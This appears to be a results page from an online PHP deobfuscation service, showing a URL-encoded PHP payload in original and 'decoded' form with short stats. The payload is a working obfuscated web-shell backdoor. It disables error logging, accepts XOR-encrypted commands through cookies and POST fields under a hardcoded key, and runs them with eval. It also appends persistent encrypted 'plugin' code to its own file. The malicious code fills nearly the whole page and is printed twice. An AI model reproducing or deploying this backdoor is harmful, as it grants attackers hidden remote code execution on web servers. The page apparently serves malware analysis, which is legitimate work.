Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$framer = new DomainFramer2("if%20%28%21defined%28%27stream_context_create%20%27%29%29%0A%..

Decoded Output download

<?  $framer = new DomainFramer2("if%20%28%21defined%28%27stream_context_create%20%27%29%29%0A%7B%0Adefine%28%27stream_context_create%20%27%2C%201%29%3B%0A%40ini_set%28%27error_log%27%2C%20NULL%29%3B%40ini_set%28%27log_errors%27%2C%200%29%3B%40ini_set%28%27max_execution_time%27%2C%200%29%3B%40error_reporting%280%29%3B%40set_time_limit%280%29%3Bif%28%21defined%28%22PHP_EOL%22%29%29%7Bdefine%28%22PHP_EOL%22%2C%20%22%5Cn%22%29%3B%7Dif%20%28%21defined%28%27file_put_contents%20%27%29%29%7Bdefine%28%27file_put_contents%20%27%2C%201%29%3B%24ukwfik%20%3D%20%27acd14c4d-9a35-4b6f-b40f-ad76c9c8040f%27%3Bglobal%20%24ukwfik%3Bfunction%20xzpkqd%28%24vfpapv%29%20%7Bif%20%28strlen%28%24vfpapv%29%20%3C%204%29%7Breturn%20%22%22%3B%7D%24auleptmm%20%3D%20%22ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B/%3D%22%3B%24smgnwvjz%20%3D%20str_split%28%24auleptmm%29%3B%24smgnwvjz%20%3D%20array_flip%28%24smgnwvjz%29%3B%24ukonchp%20%3D%200%3B%24vvwyxfyx%20%3D%20%22%22%3B%24vfpapv%20%3D%20preg_replace%28%22%7E%5B%5EA-Za-z0-9%5C%2B%5C/%5C%3D%5D%7E%22%2C%20%22%22%2C%20%24vfpapv%29%3Bdo%20%7B%24hcybkhvd%20%3D%20%24smgnwvjz%5B%24vfpapv%5B%24ukonchp%2B%2B%5D%5D%3B%24wpeeeyt%20%3D%20%24smgnwvjz%5B%24vfpapv%5B%24ukonchp%2B%2B%5D%5D%3B%24gkzbzq%20%3D%20%24smgnwvjz%5B%24vfpapv%5B%24ukonchp%2B%2B%5D%5D%3B%24stjwqzxf%20%3D%20%24smgnwvjz%5B%24vfpapv%5B%24ukonchp%2B%2B%5D%5D%3B%24kgiqbylxuwgmizz%20%3D%20%28%24hcybkhvd%20%3C%3C%202%29%20%7C%20%28%24wpeeeyt%20%3E%3E%204%29%3B%24zqtjtw%20%3D%20%28%28%24wpeeeyt%20%26%2015%29%20%3C%3C%204%29%20%7C%20%28%24gkzbzq%20%3E%3E%202%29%3B%24rxspesu%20%3D%20%28%28%24gkzbzq%20%26%203%29%20%3C%3C%206%29%20%7C%20%24stjwqzxf%3B%24vvwyxfyx%20%3D%20%24vvwyxfyx%20.%20chr%28%24kgiqbylxuwgmizz%29%3Bif%20%28%24gkzbzq%20%21%3D%2064%29%20%7B%24vvwyxfyx%20%3D%20%24vvwyxfyx%20.%20chr%28%24zqtjtw%29%3B%7Dif%20%28%24stjwqzxf%20%21%3D%2064%29%20%7B%24vvwyxfyx%20%3D%20%24vvwyxfyx%20.%20chr%28%24rxspesu%29%3B%7D%7D%20while%20%28%24ukonchp%20%3C%20strlen%28%24vfpapv%29%29%3Breturn%20%24vvwyxfyx%3B%7Dif%20%28%21function_exists%28%27file_put_contents%27%29%29%7Bfunction%20file_put_contents%28%24kgiqbylx%2C%20%24mplisjs%2C%20%24tzzlkdqu%20%3D%20False%29%7B%24mplisjsxfduvsk%20%3D%20%24tzzlkdqu%20%3D%3D%208%20%3F%20%27a%27%20%3A%20%27w%27%3B%24ycesld%20%3D%20%40fopen%28%24kgiqbylx%2C%20%24mplisjsxfduvsk%29%3Bif%20%28%24ycesld%20%3D%3D%3D%20False%29%7Breturn%200%3B%7Delse%7Bif%20%28is_array%28%24mplisjs%29%29%20%24mplisjs%20%3D%20implode%28%24mplisjs%29%3B%24wnosluwxalmvh%20%3D%20fwrite%28%24ycesld%2C%20%24mplisjs%29%3Bfclose%28%24ycesld%29%3Breturn%20%24wnosluwxalmvh%3B%7D%7D%7Dif%20%28%21function_exists%28%27file_get_contents%27%29%29%7Bfunction%20file_get_contents%28%24rjlsnfpf%29%7B%24kzseft%20%3D%20fopen%28%24rjlsnfpf%2C%20%22r%22%29%3B%24valusqf%20%3D%20fread%28%24kzseft%2C%20filesize%28%24rjlsnfpf%29%29%3Bfclose%28%24kzseft%29%3Breturn%20%24valusqf%3B%7D%7Dfunction%20encaioa%28%29%7Breturn%20trim%28preg_replace%28%22/%5C%28.%2A%5C%24/%22%2C%20%27%27%2C%20__FILE__%29%29%3B%7Dfunction%20skghtt%28%24uwucjfg%2C%20%24yjkllsil%29%7B%24xmfrdomo%20%3D%20%22%22%3Bfor%20%28%24ukonchp%3D0%3B%20%24ukonchp%3Cstrlen%28%24uwucjfg%29%3B%29%7Bfor%20%28%24wnosluw%3D0%3B%20%24wnosluw%3Cstrlen%28%24yjkllsil%29%20%26%26%20%24ukonchp%3Cstrlen%28%24uwucjfg%29%3B%20%24wnosluw%2B%2B%2C%20%24ukonchp%2B%2B%29%7B%24xmfrdomo%20.%3D%20chr%28ord%28%24uwucjfg%5B%24ukonchp%5D%29%20%5E%20ord%28%24yjkllsil%5B%24wnosluw%5D%29%29%3B%7D%7Dreturn%20%24xmfrdomo%3B%7Dfunction%20arcnll%28%24uwucjfg%2C%20%24yjkllsil%29%7Bglobal%20%24ukwfik%3Breturn%20skghtt%28skghtt%28%24uwucjfg%2C%20%24yjkllsil%29%2C%20%24ukwfik%29%3B%7Dfunction%20banwrr%28%24uwucjfg%2C%20%24yjkllsil%29%7Bglobal%20%24ukwfik%3Breturn%20skghtt%28skghtt%28%24uwucjfg%2C%20%24ukwfik%29%2C%20%24yjkllsil%29%3B%7Dfunction%20noibksfb%28%29%7B%24qwcgalds%20%3D%20%40file_get_contents%28encaioa%28%29%29%3B%24ytcijln%20%3D%20strpos%28%24qwcgalds%2C%20md5%28encaioa%28%29%29%29%3Bif%20%28%24ytcijln%20%21%3D%3D%20FALSE%29%7B%24cpqiumbe%20%3D%20substr%28%24qwcgalds%2C%20%24ytcijln%20%2B%2032%29%3B%24hpcupip%20%3D%20%40unserialize%28arcnll%28rawurldecode%28%24cpqiumbe%29%2C%20md5%28encaioa%28%29%29%29%29%3B%7Delse%7B%24hpcupip%20%3D%20Array%28%29%3B%7Dreturn%20%24hpcupip%3B%7Dfunction%20igmddlhx%28%24hpcupip%29%7B%24etoboxnk%20%3D%20rawurlencode%28banwrr%28%40serialize%28%24hpcupip%29%2C%20md5%28encaioa%28%29%29%29%29%3B%24qwcgalds%20%3D%20%40file_get_contents%28encaioa%28%29%29%3B%24ytcijln%20%3D%20strpos%28%24qwcgalds%2C%20md5%28encaioa%28%29%29%29%3Bif%20%28%24ytcijln%20%21%3D%3D%20FALSE%29%7B%24bgnxkqjs%20%3D%20substr%28%24qwcgalds%2C%20%24ytcijln%20%2B%2032%29%3B%24qwcgalds%20%3D%20str_replace%28%24bgnxkqjs%2C%20%24etoboxnk%2C%20%24qwcgalds%29%3B%7Delse%7B%24qwcgalds%20%3D%20%24qwcgalds%20.%20%22%5Cn%5Cn//%22%20.%20md5%28encaioa%28%29%29%20.%20%24etoboxnk%3B%7D%40file_put_contents%28encaioa%28%29%2C%20%24qwcgalds%29%3B%7Dfunction%20wndfcdt%28%24uetgil%2C%20%24ukjayigb%29%7B%24hpcupip%20%3D%20noibksfb%28%29%3B%24hpcupip%5B%24uetgil%5D%20%3D%20xzpkqd%28%24ukjayigb%29%3Bigmddlhx%28%24hpcupip%29%3B%7Dfunction%20tnfqcb%28%24uetgil%29%7B%24hpcupip%20%3D%20noibksfb%28%29%3Bunset%28%24hpcupip%5B%24uetgil%5D%29%3Bigmddlhx%28%24hpcupip%29%3B%7Dfunction%20ielcyedg%28%24uetgil%3DNULL%29%7Bforeach%20%28noibksfb%28%29%20as%20%24hhghxqti%3D%3E%24yflueda%29%7Bif%20%28%24uetgil%29%7Bif%20%28strcmp%28%24uetgil%2C%20%24hhghxqti%29%20%3D%3D%200%29%7Beval%28%24yflueda%29%3Bbreak%3B%7D%7Delse%7Beval%28%24yflueda%29%3B%7D%7D%7Dforeach%20%28array_merge%28%24_COOKIE%2C%20%24_POST%29%20as%20%24txsyjapp%20%3D%3E%20%24uwucjfg%29%7B%24uwucjfg%20%3D%20%40unserialize%28arcnll%28xzpkqd%28%24uwucjfg%29%2C%20%24txsyjapp%29%29%3Bif%20%28isset%28%24uwucjfg%5B%27ak%27%5D%29%20%26%26%20%24ukwfik%3D%3D%24uwucjfg%5B%27ak%27%5D%29%7Bif%20%28%24uwucjfg%5B%27a%27%5D%20%3D%3D%20%27i%27%29%7B%24ukonchp%20%3D%20Array%28%27pv%27%20%3D%3E%20%40phpversion%28%29%2C%27sv%27%20%3D%3E%20%272.0-1%27%2C%27ak%27%20%3D%3E%20%24uwucjfg%5B%27ak%27%5D%2C%29%3Becho%20%40serialize%28%24ukonchp%29%3Bexit%3B%7Delseif%20%28%24uwucjfg%5B%27a%27%5D%20%3D%3D%20%27e%27%29%7Beval%28%24uwucjfg%5B%27d%27%5D%29%3B%7Delseif%20%28%24uwucjfg%5B%27a%27%5D%20%3D%3D%20%27plugin%27%29%7Bif%28%24uwucjfg%5B%27sa%27%5D%20%3D%3D%20%27add%27%29%7Bwndfcdt%28%24uwucjfg%5B%27p%27%5D%2C%20%24uwucjfg%5B%27d%27%5D%29%3B%7Delseif%28%24uwucjfg%5B%27sa%27%5D%20%3D%3D%20%27rem%27%29%7Btnfqcb%28%24uwucjfg%5B%27p%27%5D%29%3B%7D%7Decho%20%24uwucjfg%5B%27ak%27%5D%3Bexit%28%29%3B%7D%7Dielcyedg%28%29%3B%7D%0A%7D"); ?>

Did this file decode correctly?

Original Code

$framer = new DomainFramer2("if%20%28%21defined%28%27stream_context_create%20%27%29%29%0A%7B%0Adefine%28%27stream_context_create%20%27%2C%201%29%3B%0A%40ini_set%28%27error_log%27%2C%20NULL%29%3B%40ini_set%28%27log_errors%27%2C%200%29%3B%40ini_set%28%27max_execution_time%27%2C%200%29%3B%40error_reporting%280%29%3B%40set_time_limit%280%29%3Bif%28%21defined%28%22PHP_EOL%22%29%29%7Bdefine%28%22PHP_EOL%22%2C%20%22%5Cn%22%29%3B%7Dif%20%28%21defined%28%27file_put_contents%20%27%29%29%7Bdefine%28%27file_put_contents%20%27%2C%201%29%3B%24ukwfik%20%3D%20%27acd14c4d-9a35-4b6f-b40f-ad76c9c8040f%27%3Bglobal%20%24ukwfik%3Bfunction%20xzpkqd%28%24vfpapv%29%20%7Bif%20%28strlen%28%24vfpapv%29%20%3C%204%29%7Breturn%20%22%22%3B%7D%24auleptmm%20%3D%20%22ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B/%3D%22%3B%24smgnwvjz%20%3D%20str_split%28%24auleptmm%29%3B%24smgnwvjz%20%3D%20array_flip%28%24smgnwvjz%29%3B%24ukonchp%20%3D%200%3B%24vvwyxfyx%20%3D%20%22%22%3B%24vfpapv%20%3D%20preg_replace%28%22%7E%5B%5EA-Za-z0-9%5C%2B%5C/%5C%3D%5D%7E%22%2C%20%22%22%2C%20%24vfpapv%29%3Bdo%20%7B%24hcybkhvd%20%3D%20%24smgnwvjz%5B%24vfpapv%5B%24ukonchp%2B%2B%5D%5D%3B%24wpeeeyt%20%3D%20%24smgnwvjz%5B%24vfpapv%5B%24ukonchp%2B%2B%5D%5D%3B%24gkzbzq%20%3D%20%24smgnwvjz%5B%24vfpapv%5B%24ukonchp%2B%2B%5D%5D%3B%24stjwqzxf%20%3D%20%24smgnwvjz%5B%24vfpapv%5B%24ukonchp%2B%2B%5D%5D%3B%24kgiqbylxuwgmizz%20%3D%20%28%24hcybkhvd%20%3C%3C%202%29%20%7C%20%28%24wpeeeyt%20%3E%3E%204%29%3B%24zqtjtw%20%3D%20%28%28%24wpeeeyt%20%26%2015%29%20%3C%3C%204%29%20%7C%20%28%24gkzbzq%20%3E%3E%202%29%3B%24rxspesu%20%3D%20%28%28%24gkzbzq%20%26%203%29%20%3C%3C%206%29%20%7C%20%24stjwqzxf%3B%24vvwyxfyx%20%3D%20%24vvwyxfyx%20.%20chr%28%24kgiqbylxuwgmizz%29%3Bif%20%28%24gkzbzq%20%21%3D%2064%29%20%7B%24vvwyxfyx%20%3D%20%24vvwyxfyx%20.%20chr%28%24zqtjtw%29%3B%7Dif%20%28%24stjwqzxf%20%21%3D%2064%29%20%7B%24vvwyxfyx%20%3D%20%24vvwyxfyx%20.%20chr%28%24rxspesu%29%3B%7D%7D%20while%20%28%24ukonchp%20%3C%20strlen%28%24vfpapv%29%29%3Breturn%20%24vvwyxfyx%3B%7Dif%20%28%21function_exists%28%27file_put_contents%27%29%29%7Bfunction%20file_put_contents%28%24kgiqbylx%2C%20%24mplisjs%2C%20%24tzzlkdqu%20%3D%20False%29%7B%24mplisjsxfduvsk%20%3D%20%24tzzlkdqu%20%3D%3D%208%20%3F%20%27a%27%20%3A%20%27w%27%3B%24ycesld%20%3D%20%40fopen%28%24kgiqbylx%2C%20%24mplisjsxfduvsk%29%3Bif%20%28%24ycesld%20%3D%3D%3D%20False%29%7Breturn%200%3B%7Delse%7Bif%20%28is_array%28%24mplisjs%29%29%20%24mplisjs%20%3D%20implode%28%24mplisjs%29%3B%24wnosluwxalmvh%20%3D%20fwrite%28%24ycesld%2C%20%24mplisjs%29%3Bfclose%28%24ycesld%29%3Breturn%20%24wnosluwxalmvh%3B%7D%7D%7Dif%20%28%21function_exists%28%27file_get_contents%27%29%29%7Bfunction%20file_get_contents%28%24rjlsnfpf%29%7B%24kzseft%20%3D%20fopen%28%24rjlsnfpf%2C%20%22r%22%29%3B%24valusqf%20%3D%20fread%28%24kzseft%2C%20filesize%28%24rjlsnfpf%29%29%3Bfclose%28%24kzseft%29%3Breturn%20%24valusqf%3B%7D%7Dfunction%20encaioa%28%29%7Breturn%20trim%28preg_replace%28%22/%5C%28.%2A%5C%24/%22%2C%20%27%27%2C%20__FILE__%29%29%3B%7Dfunction%20skghtt%28%24uwucjfg%2C%20%24yjkllsil%29%7B%24xmfrdomo%20%3D%20%22%22%3Bfor%20%28%24ukonchp%3D0%3B%20%24ukonchp%3Cstrlen%28%24uwucjfg%29%3B%29%7Bfor%20%28%24wnosluw%3D0%3B%20%24wnosluw%3Cstrlen%28%24yjkllsil%29%20%26%26%20%24ukonchp%3Cstrlen%28%24uwucjfg%29%3B%20%24wnosluw%2B%2B%2C%20%24ukonchp%2B%2B%29%7B%24xmfrdomo%20.%3D%20chr%28ord%28%24uwucjfg%5B%24ukonchp%5D%29%20%5E%20ord%28%24yjkllsil%5B%24wnosluw%5D%29%29%3B%7D%7Dreturn%20%24xmfrdomo%3B%7Dfunction%20arcnll%28%24uwucjfg%2C%20%24yjkllsil%29%7Bglobal%20%24ukwfik%3Breturn%20skghtt%28skghtt%28%24uwucjfg%2C%20%24yjkllsil%29%2C%20%24ukwfik%29%3B%7Dfunction%20banwrr%28%24uwucjfg%2C%20%24yjkllsil%29%7Bglobal%20%24ukwfik%3Breturn%20skghtt%28skghtt%28%24uwucjfg%2C%20%24ukwfik%29%2C%20%24yjkllsil%29%3B%7Dfunction%20noibksfb%28%29%7B%24qwcgalds%20%3D%20%40file_get_contents%28encaioa%28%29%29%3B%24ytcijln%20%3D%20strpos%28%24qwcgalds%2C%20md5%28encaioa%28%29%29%29%3Bif%20%28%24ytcijln%20%21%3D%3D%20FALSE%29%7B%24cpqiumbe%20%3D%20substr%28%24qwcgalds%2C%20%24ytcijln%20%2B%2032%29%3B%24hpcupip%20%3D%20%40unserialize%28arcnll%28rawurldecode%28%24cpqiumbe%29%2C%20md5%28encaioa%28%29%29%29%29%3B%7Delse%7B%24hpcupip%20%3D%20Array%28%29%3B%7Dreturn%20%24hpcupip%3B%7Dfunction%20igmddlhx%28%24hpcupip%29%7B%24etoboxnk%20%3D%20rawurlencode%28banwrr%28%40serialize%28%24hpcupip%29%2C%20md5%28encaioa%28%29%29%29%29%3B%24qwcgalds%20%3D%20%40file_get_contents%28encaioa%28%29%29%3B%24ytcijln%20%3D%20strpos%28%24qwcgalds%2C%20md5%28encaioa%28%29%29%29%3Bif%20%28%24ytcijln%20%21%3D%3D%20FALSE%29%7B%24bgnxkqjs%20%3D%20substr%28%24qwcgalds%2C%20%24ytcijln%20%2B%2032%29%3B%24qwcgalds%20%3D%20str_replace%28%24bgnxkqjs%2C%20%24etoboxnk%2C%20%24qwcgalds%29%3B%7Delse%7B%24qwcgalds%20%3D%20%24qwcgalds%20.%20%22%5Cn%5Cn//%22%20.%20md5%28encaioa%28%29%29%20.%20%24etoboxnk%3B%7D%40file_put_contents%28encaioa%28%29%2C%20%24qwcgalds%29%3B%7Dfunction%20wndfcdt%28%24uetgil%2C%20%24ukjayigb%29%7B%24hpcupip%20%3D%20noibksfb%28%29%3B%24hpcupip%5B%24uetgil%5D%20%3D%20xzpkqd%28%24ukjayigb%29%3Bigmddlhx%28%24hpcupip%29%3B%7Dfunction%20tnfqcb%28%24uetgil%29%7B%24hpcupip%20%3D%20noibksfb%28%29%3Bunset%28%24hpcupip%5B%24uetgil%5D%29%3Bigmddlhx%28%24hpcupip%29%3B%7Dfunction%20ielcyedg%28%24uetgil%3DNULL%29%7Bforeach%20%28noibksfb%28%29%20as%20%24hhghxqti%3D%3E%24yflueda%29%7Bif%20%28%24uetgil%29%7Bif%20%28strcmp%28%24uetgil%2C%20%24hhghxqti%29%20%3D%3D%200%29%7Beval%28%24yflueda%29%3Bbreak%3B%7D%7Delse%7Beval%28%24yflueda%29%3B%7D%7D%7Dforeach%20%28array_merge%28%24_COOKIE%2C%20%24_POST%29%20as%20%24txsyjapp%20%3D%3E%20%24uwucjfg%29%7B%24uwucjfg%20%3D%20%40unserialize%28arcnll%28xzpkqd%28%24uwucjfg%29%2C%20%24txsyjapp%29%29%3Bif%20%28isset%28%24uwucjfg%5B%27ak%27%5D%29%20%26%26%20%24ukwfik%3D%3D%24uwucjfg%5B%27ak%27%5D%29%7Bif%20%28%24uwucjfg%5B%27a%27%5D%20%3D%3D%20%27i%27%29%7B%24ukonchp%20%3D%20Array%28%27pv%27%20%3D%3E%20%40phpversion%28%29%2C%27sv%27%20%3D%3E%20%272.0-1%27%2C%27ak%27%20%3D%3E%20%24uwucjfg%5B%27ak%27%5D%2C%29%3Becho%20%40serialize%28%24ukonchp%29%3Bexit%3B%7Delseif%20%28%24uwucjfg%5B%27a%27%5D%20%3D%3D%20%27e%27%29%7Beval%28%24uwucjfg%5B%27d%27%5D%29%3B%7Delseif%20%28%24uwucjfg%5B%27a%27%5D%20%3D%3D%20%27plugin%27%29%7Bif%28%24uwucjfg%5B%27sa%27%5D%20%3D%3D%20%27add%27%29%7Bwndfcdt%28%24uwucjfg%5B%27p%27%5D%2C%20%24uwucjfg%5B%27d%27%5D%29%3B%7Delseif%28%24uwucjfg%5B%27sa%27%5D%20%3D%3D%20%27rem%27%29%7Btnfqcb%28%24uwucjfg%5B%27p%27%5D%29%3B%7D%7Decho%20%24uwucjfg%5B%27ak%27%5D%3Bexit%28%29%3B%7D%7Dielcyedg%28%29%3B%7D%0A%7D");

Function Calls

None

Variables

None

Stats

MD5 65820979aae58979e0f19f1703b1d20c
Eval Count 0
Decode Time 58 ms